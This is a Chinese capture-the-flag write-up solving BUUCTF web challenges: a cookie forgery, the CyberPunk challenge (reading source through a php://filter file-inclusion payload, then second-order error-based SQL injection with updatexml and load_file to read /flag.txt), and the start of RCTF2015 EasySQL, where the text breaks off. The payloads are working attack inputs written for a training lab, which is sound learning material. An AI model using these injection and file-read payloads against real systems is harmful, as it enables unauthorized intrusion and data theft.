BUUCTF__web题解合集(十二)

前言

  • 冬天来了

题目

1、[BSidesCF 2019]Kookie

  • 虽然是很简单,但是有点难想。

  • 只需在请求头中加上cookie发包请求就行。

    cookie:username=admin
    

2、[CISCN2019 华北赛区 Day1 Web5]CyberPunk

  • 首先可以通过首页的源代码中发现提示,然后有PHP伪协议可以读取源代码。
    在这里插入图片描述

    ?file=php://filter/read=convert.base64-encode/resource=index.php
    
  • 可以得到所有的源代码,进行代码审计。 注意到两个部分。

  • 第一点就是在提交订单时的confirm.php,对输入的姓名电话地址几乎无过滤,虽然有一个黑名单,但没起到作用,匹配到黑名单后还会往下继续执行。

  • 第二点就是在修改订单信息的change.php,对于输入的地址有一个addslashes转义处理,这就导致输入的address变量在这里不可利用。

  • 但是在执行修改sql语句时,还是有将原来的地址取出放入sql语句。

    $address = addslashes($_POST["address"]);
    
    $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    
  • 也就是有一个利用漏洞,因为在提交订单时没有过滤,在提交订单时将payload放入地址,在修改订单信息时随便输入一个新地址,但是旧地址也在sql语句中执行。可以利用报错注入。

  • 但是很重要一点,flag在哪,可以一步一步爆库爆表直到得到字段内容,没有flag。最终 flag 在flag.txt。通过load_file函数来读取文件内容。

  • payload

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
    
    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
    
  • 一步一步来做的话,可能不算难,但有点麻烦。二次注入,不是什么新知识点,关键是代码审计知道利用点。

3、[RCTF2015]EasySQL

  • 登录注册修改密码,盲猜就是二次注入。

  • 在注册时,如果用户名中含双引号"或者注释符\,在修改密码时,会引发报错,可以发现,sql语句为双引号闭合,并且可能存在报错注入。同时可以猜测后端sql语句的形式为

    update users set password='xxxx' where username="xxxx" and pwd='xxxx'
    
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值